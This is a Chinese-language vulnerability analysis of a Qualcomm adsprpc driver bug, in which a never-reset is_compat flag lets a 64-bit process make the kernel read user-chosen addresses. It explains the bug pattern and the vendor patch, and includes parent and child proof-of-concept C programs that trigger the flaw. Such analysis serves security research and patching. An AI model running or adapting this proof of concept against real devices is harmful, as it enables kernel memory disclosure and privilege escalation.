qualcomm-dsp-driver: adsprpc
漏洞
为了支持 32 位用户空间进程,64 位内核包含一个可以支持 ioctl
的“兼容层”(compatibility layer)。这个层的职责是将 32 位结构体转换为它们的 64 位等价结构体,这涉及将 32 位用户空间指针“扩展”为 64 位指针。adsprpc
驱动在 adsprpc_compat.c
文件中处理这种情况。它会分配内核内存,将 32 位结构体拷贝并转换为 64 位结构体,然后调用 64 位的 ioctl
接口。因此,64 位的 ioctl
接口必须处理来自 32 位内核兼容层的调用以及直接来自 64 位用户空间的调用。
为了支持这种功能,32 位兼容层通过在与文件描述符绑定的 fl
结构体(fastrpc_file
)中设置 is_compat
标志,向更广泛的 adsprpc
驱动表明当前调用来自 32 位兼容层。
long compat_fastrpc_device_ioctl(struct file *filp, unsigned int cmd,
unsigned long arg)
{
int err = 0;
struct fastrpc_file *fl = (struct fastrpc_file *)filp->private_data;
if (!filp->f_op || !filp->f_op->unlocked_ioctl)
return -ENOTTY;
fl->is_compat = true; // 设置is_compat flag为true
...
}
稍后,在调用 K_COPY_FROM_USER
时会使用 is_compat
标志来决定是使用 memmove
(适用于 32 位兼容层或其他内核调用)还是 copy_from_user
。
#define K_COPY_FROM_USER(err, kernel, dst, src, size) \
do {\
if (!(kernel))\
err = copy_from_user((dst),\
(void const __user *)(src),\
(size));\
else\
memmove((dst), (src), (size));\
} while (0)
函数 fastrpc_internal_invoke2
的片段如下:
int fastrpc_internal_invoke2(struct fastrpc_file *fl,
struct fastrpc_ioctl_invoke2 *inv2)
{
switch (inv2->req) {
case FASTRPC_INVOKE2_ASYNC:
...
K_COPY_FROM_USER(err, fl->is_compat, &p.inv3, (void*)inv2->invparam, sizeof(struct fastrpc_ioctl_invoke_async_no_perf));
...
}
}
然而,这个 is_compat
标志被设置在一个相对全局的级别上,因此对同一文件描述符的任何其他 ioctl
调用都会看到该标志已被设置。此外,一旦该标志被设置,就永远不会被重置。以下是一个可能的恶意场景:
- 一个恶意的 64 位进程 A 打开了
adsprpc-smd
文件,创建了一个新的adsprpc
文件描述符。 - 进程 A 调用
fork
,创建了一个新的 32 位进程 B(A 和 B 共享adsprpc
fd/fl)。 - 进程 B 调用 32 位的
ioctl
接口(从而设置了is_compat
标志)并退出。 - 进程 A 调用 64 位的
ioctl
接口。
在这种情况下,驱动程序错误地认为请求来自 32 位兼容层(因为 is_compat
被设置了),并尝试将(void*)inv2->invparam
作为内核指针进行访问,而实际上这是一个来自 64 位用户空间的不可信用户空间指针(在恶意情况下,这些指针可能是内核地址)(copy_from_user
的src)。随后内核将使用不安全的 memmove
来访问这些指针,从而导致用户空间控制的内核地址读操作。
memove函数:将内存区域中的一段数据复制到另一段内存区域中
void *memmove(void *dest, const void *src, size_t n); // dest: 目标地址指针,表示数据要复制到的内存区域的起始地址 // src: 源地址指针,表示数据要复制的内存区域的起始地址。 // n: 要复制的字节数
漏洞模式小结
-
- 有兼容层
-
- 表明兼容层的
is_compat
标志被设置在一个相对全局的级别上
- 对同一文件描述符的任何其他
ioctl
调用都会看到该标志已被设置 - 一旦该标志被设置,就永远不会被重置或者存在情况不会被重置
- 表明兼容层的
比如该漏洞的
is_compat
就存储在父子进程共享的fastrpc_file
里
-
- 驱动对用户态传入地址的处理在同一个地方。
PoC
- 父进程
int main() {
int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY); // [1] 恶意的 64 位进程 A 打开了 `adsprpc-smd` 文件,创建了一个新的 `adsprpc` 文件描述符。
if(adsprpc_fd == -1) {
printf("open: %m\n");
return 1;
}
printf("opened fd %d\n", adsprpc_fd);
uint32_t info = 3; // 0 is privileged, 3 is unprivileged
int getinfo_res = ioctl(adsprpc_fd, FASTRPC_IOCTL_GETINFO, &info);
printf("getinfo returned %d\n", getinfo_res);
printf("invoking child\n");
char* arg[] = {"./poc_compat", NULL};
if(!fork()) { // [2] 进程 A 调用 `fork`,创建了一个新的 32 位进程 B(A 和 B 共享 `adsprpc` fd/fl)。
execve("./poc_compat",arg,NULL); // 子进程执行poc_compat
printf("execve: %m\n");
return 1;
}
int ret = waitpid(-1,NULL,0);
if(ret < 0)
{
printf("waitpid: %m\n");
return 1;
}
printf("child exited\n");
struct fastrpc_ioctl_invoke2 p = {
.req = FASTRPC_INVOKE2_ASYNC,
.invparam = 0xffffffff41414141,
.size = 8
};
errno = 0;
int res = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&p); // [4] 进程 A 调用 64 位的 `ioctl` 接口
printf("invoke2 called, returned %d (%m)\n", res);
}
- 子进程
int main() {
printf("calling ioctl\n");
struct fastrpc_ioctl_dspsignal_wait arg = {
.signal_id = 1024/*too big*/
};
int ret = ioctl(3,COMPAT_FASTRPC_IOCTL_DSPSIGNAL_WAIT,&arg); // [3] 进程 B 调用 32 位的 `ioctl` 接口(从而设置了 `is_compat` 标志)并退出。
printf("ioctl returned %d (%m)\n", ret);
return 0;
}
Patch
- 定义了一个enum
fastrpc_msg_type
,去除了结构体fastrpc_file
里的is_compat
(把这个flag的“全局”级别降低了)。

-
既然去除了结构体
fastrpc_file
里的is_compat
,那么在c文件里用到的地方也要去掉。比如下面978行去掉了这个字段的设置,而是通过fastrpc_msg_type
来设置。 -
32 位兼容层的ioctl中,invoke和invoke2分别做了改变:350行的参数从
USER_MSG
换成了COMPAT_MSG
,从上面的注释来看,前者表示64位,后者表示32位;487行给invoke2函数加了一个参数true,来表示是兼容层。

- 上面兼容层最后会调用64位的函数。
- 对于invoke:如果是
COMPAT_MSG
,则kernel设置为USER_MSG
,否则是原值。这里的意思是如果是兼容层传过来的,因为在兼容层已经完成了数据类型的转换,所以这里就把类型改过来,直接当64位的了。

3401行调用了context_alloc
函数:

- 对于invoke2:不再用
fl->is_compat
,而是用传入的参数is_compat
(传入true)

参考文献
- https://googleprojectzero.blogspot.com/2024/12/qualcomm-dsp-driver-unexpectedly-excavating-exploit.html
- https://project-zero.issues.chromium.org/issues/42451710
- https://docs.qualcomm.com/product/publicresources/securitybulletin/october-2024-bulletin.html
- https://git.codelinaro.org/clo/la/platform/vendor/qcom/opensource/dsp-kernel/-/commit/c60ac212aabd299304dfbb54b1fc18c59247d9ae